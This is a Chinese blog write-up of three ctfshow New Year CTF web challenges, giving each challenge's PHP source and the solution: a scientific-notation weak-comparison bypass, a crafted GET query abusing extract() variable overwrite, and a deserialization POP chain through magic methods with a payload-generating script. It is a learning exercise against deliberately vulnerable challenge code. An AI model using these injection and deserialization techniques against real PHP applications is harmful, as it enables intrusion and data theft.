目录

  1. 1. 前言
  2. 2. 除夕
  3. 3. 初三
  4. 4. 初六

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ctfshow 年CTF

2023/1/30 CTF线上赛 ctfshow
  |     |   总文章阅读量:

前言

你可千万别学隔壁家大哥哥,大过年还在打ctf(

除夕

php弱类型

题目源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-01-18 11:36:09
# @Last Modified by:   h1xa
# @Last Modified time: 2023-01-19 10:18:44
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

include "flag.php";

$year = $_GET['year'];

if($year==2022 && $year+1!==2023){
    echo $flag;
}else{
    highlight_file(__FILE__);
} 

使用科学计数法绕过:2022=202.2e1=20.22e2=2.022e3

传入 ?year=202.2e1

初三

变量覆盖

题目源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-01-19 10:31:36
# @Last Modified by:   h1xa
# @Last Modified time: 2023-01-19 13:11:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
extract($_GET);
include "flag.php";
highlight_file(__FILE__);

$_=function($__,$___){
    return $__==$___?$___:$__;
};
$$__($_($_GET{
    $___
}[$____]{
    $_____
}(),$flag));

啊又是一堆_(恼

复制下来自己格式化,把变量用字母替换一下,这下看懂了(

<?php
extract($_GET);
include "flag.php";
$a = function ($b, $c) {
    return $b == $c ? $c : $b;
};
$$b($a($_GET{$c}[$d]{$e}(), $flag));

直接从最底下的代码来分析,既然要输出那必定需要一个能回显内容的函数,这里以var_dump为例,也就是要让$$__=var_dump

然后$_是上面定义的函数,会比较两个参数的值,在这串代码中,相等则会返回$flag

$_GET{$___}[$____]{$_____}其实中括号和大括号是一样的用法,这里是以GET方法传入一个三维数组,也就是x[][]的形式

后面还跟了个括号,也就是要传入的是一个无参的函数

同时在include "flag.php"的情况下$flag的返回值应该是true,也就是说这个函数的返回值也得为true

那比较容易想到的就是phpinfo()

所以最终传参

?__=z&z=var_dump&x[b][c]=phpinfo&___=x&____=b&_____=c

初六

反序列化,这题对魔术方法的考察比较全面

题目源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-01-18 08:46:07
# @Last Modified by:   h1xa
# @Last Modified time: 2023-01-18 11:19:09
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

include "flag.php";
class happy2year{
    private $secret;
    private $key;
    function __wakeup(){
        $this->secret="";
    }
    function __call($method,$argv){        
        return call_user_func($this->key, array($method,$argv));
    }
    function getSecret($key){
        $key=$key?$key:$this->key;
        return $this->createSecret($key);    
    }
    function createSecret($key){
        return base64_encode($this->key.$this->secret);
    }
    function __get($arg){
        global $flag;
        $arg="get".$arg;
        $this->$arg = $flag;
        return $this->secret;
    }
    function __set($arg,$argv){
        $this->secret=base64_encode($arg.$argv); 
    }
    function __invoke(){
        return $this->$secret;
    }
    function __toString(){
        return base64_encode($this->secret().$this->secret);
    }
    function __destruct(){        
        $this->secret = "";
    }
}
highlight_file(__FILE__);
error_reporting(0);
$data = $_POST['data'];
$key = $_POST['key'];
$obj = unserialize($data);
if($obj){
    $secret = $obj->getSecret($key);
    print("你提交的key是".$key."\n生成的secret是".$secret);
} 

还是头一次见这么多魔术方法塞一个类里面

老规矩先找可利用的点,看起来应该是__get这段

function __get($arg){
       global $flag;	//声明外部变量$flag
       $arg="get".$arg;
       $this->$arg = $flag;
       return $this->secret;	//此处访问私有属性,会调用__set
   }

__set

function __set($arg,$argv){
       $this->secret=base64_encode($arg.$argv);
   }

其中$arg="get"$argv=$flag

于是secret到这里会等于base64编码后的get.$flag

接下来的问题就是如何进入__get方法,需要调用不存在的属性或私有变量

可以发现__invoke方法中也调用了私有变量,而进入__invoke则需要把对象当作函数处理

function __invoke(){
    return $this->$secret;
}

那这里只有__call方法中存在函数,其中$this->key我们是可控的,只要赋值成当前对象就可以了

function __call($method,$argv){        
    return call_user_func($this->key, array($method,$argv));
}

而要进入__call则要在对象中调用一个不存在或不可访问的方法,

能看到__toString方法中有个$this->secret()

function __toString(){
    return base64_encode($this->secret().$this->secret);
}

要进__toString需要把对象当字符串处理,createSecret存在变量拼接,而要进createSecret就要先进getSecret

那链子就是getSecret->createSecret->__toString->__call->__invoke->__get->__set

payload:

<?php
class happy2year
{
    private $secret;
    private $key;
    function __construct(){
        $this->key=$this;
    }
}
$a = new happy2year();
echo serialize($a);
echo "\n";
echo urlencode(serialize($a));

传入data,base64解码三次获得flag

payload很简单,但是思路有点复杂,跟着一步步走下来倒是挺有意思的